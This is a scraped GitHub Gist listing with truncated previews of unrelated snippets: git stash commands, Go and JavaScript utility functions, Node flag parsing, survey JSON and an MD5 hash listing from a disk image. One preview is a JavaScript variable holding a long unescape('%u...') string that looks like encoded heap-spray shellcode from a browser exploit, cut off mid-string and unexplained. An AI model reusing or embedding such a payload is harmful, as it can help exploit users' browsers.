Skip to content

Instantly share code, notes, and snippets.

# Hacer stash de todos los archivos, nuevos o modificados
git stash save --include-untracked "nombre del stash"
# Hacer stash de todos los archivos, nuevos o modificados MAS corto
git stash -u
# Retomar los cambios del ultimo stash guardado
git stash pop
# Hacer un hard reset de una branch
{
"questions": {
"radio1": {
"label": "Radio label",
"type": "radio",
"assertion": "any",
"options": [
{
"key": "a",
"headLine": "I’m a Senior (64.5+)",
@LuisPaGarcia
LuisPaGarcia / main.go
Created July 14, 2020 00:34
Golang Function to reverse a string, with runes to manage unicode chars
// Golang Function to reverse a string, with runes to manage unicode chars
func Reverse(input string) (result string) {
for _, letter := range input {
result = string(letter) + result
}
return
}
const people = [
{ name: "John", age: 25, yearsOfExperience: 5 },
{ name: "Fred", age: 34, yearsOfExperience: 6 },
{ name: "Louis", age: 32, yearsOfExperience: 8},
{ name: "Edward", age: 47, yearsOfExperience: 15 },
{ name: "Bart", age: 19, yearsOfExperience: 1 },
]
const totals = people.reduce((acc, current) => ({
age: acc.age + current.age, // sum of all ages
const input = "THIS is A test INVERT"
// Convert "THIS is A test INVERT" to "this IS a TEST invert"
function transform(input) {
const output = input.split("").map(input => {
const charCode = input.charCodeAt()
let output = input
// is lowercase?
if(charCode >= 97 && charCode <= 122){
@LuisPaGarcia
LuisPaGarcia / index.js
Last active May 25, 2020 19:39
How to read node js flags
// Enter the process.argv array
//
// $ node index.js --flag1=123 --flag2=abc --flag3=false --flag4=key
//
// var args = [
// '/home/user/.nvm/versions/node/v10.20.1/bin/node',
// '/home/path/index.js',
// '--flag1=123',
// '--flag2=abc',
// '--flag3=false',
[{"_id":"e0439676c1a25dcad2af6df8a9cc3926","_timestamp":1581480374462,"name":"luispa"},{"_id":"decf19aaa7ac057897413b0229f8dad8","_timestamp":1581480390310,"name":"luispa"}]
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function getRandom(max, min) {
return Math.floor(Math.random() * (max - min + 1) + min);
}
var conteo = 0;
var UhUIbxMLXTyXbeELYOmzOdSvctZdjbbZoNFTupMSzibleJHiWaLuiDw = unescape("%u99f5%u42f8%ufdf9%u2f40%u9f91%ufc98%u9693%u4937%u9799%u9249%u9847%u9237%u49f8%ufc9b%u974a%u48f5%u912f%uf540%u4e97%u4398%u9b4e%u4143%u924a%uf998%u40f5%u3746%u48fc%u4a9f%u4b4b%u4398%u4ff5%u2749%u4e48%u4693%u4a97%ud62f%u3f9b%uf540%u4837%u2791%u273f%u48fc%u4f4b%u9f27%u41d6%u4f96%u4bfd%u4149%uf897%u2f42%u2f92%ufc3f%u404e%u9248%uf99f%u9bf5%u9ff9%u42fc%u9896%uf842%ufc98%u3f37%u414b%u4293%u27fd%u469b%u4f4b%u93fd%ufc96%u4996%u9190%ud648%u9627%u4e37%u4140%ufc37%u3f96%uf8f9%uf847%u4b46%u47f5%u4f9b%u2f9f%u4af5%u4649%u979f%u272f%u4341%uf591%u999b%u9b4a%ufc4f%ufc27%u934a%ufd93%u9141%u4bf5%u412f%u4291%u924f%ufc97%u3ff9%u43fd%u9396%u4bd6%uf540%u48d6%u43fc%u2ff5%u9648%u489f%u4899%u2747%u9337%u9699%ud648%u433f%u9347%u37f5%uf93f%uf548%u924a%u48d6%uf5d6%u9046%u4742%u493f%u904a%u404e%u9898%u4a99%u3f90%u9b42%u4ad6%u43fd%u434f%u9847%ufdf8%u9098%u42d6%u4890%u27f5%u4b90%u4f96%u4b42%u3f98%ufcf8%u9927%u92f5%u494a%u9993%u484f%ufdf9%ud6f9%u4e4f%u4646%u464f%uf59
MD5 Values for files in /hoop/home/roger/Music/ (Linux_disk1.img-0-0)
d41d8cd98f00b204e9800998ecf8427e Dangerous.mp3
d41d8cd98f00b204e9800998ecf8427e Power of the dollar.mp3
d41d8cd98f00b204e9800998ecf8427e The good die young.mp3
d41d8cd98f00b204e9800998ecf8427e The truth - you not ready.mp3
36cce5bbec5a3d9ff580d8d7c90d4b55 Thumbs.db
d41d8cd98f00b204e9800998ecf8427e Who shot ya.mp3